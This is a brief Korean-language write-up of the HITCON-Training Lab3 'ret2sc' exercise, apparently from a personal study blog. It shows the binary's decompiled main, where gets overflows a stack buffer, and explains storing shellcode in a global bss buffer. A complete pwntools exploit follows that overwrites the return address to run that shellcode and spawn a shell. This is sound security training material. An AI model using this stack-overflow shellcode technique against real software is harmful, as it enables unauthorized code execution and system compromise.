[HITCON-Training]Lab3

return to shellcode 문제다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-14h]
 
  setvbuf(stdout, 0, 2, 0);
  printf("Name:");
  read(0, &name, 50u);
  printf("Try your best:");
  return (int)gets(&s);
}

name은 bss에 저장된 전역변수이다.

name에 shellcode를 넣고 gets로 return을 name으로 해주면 shellcode가 실행될거다.

from pwn import *
 
e = ELF('./ret2sc')
p = process('./ret2sc')
 
p.sendlineafter(':',asm(shellcraft.i386.sh()))
pay = 'A'*(0x1c+4)
pay += p32(0x0804A060)
p.sendlineafter(':',pay)
p.interactive()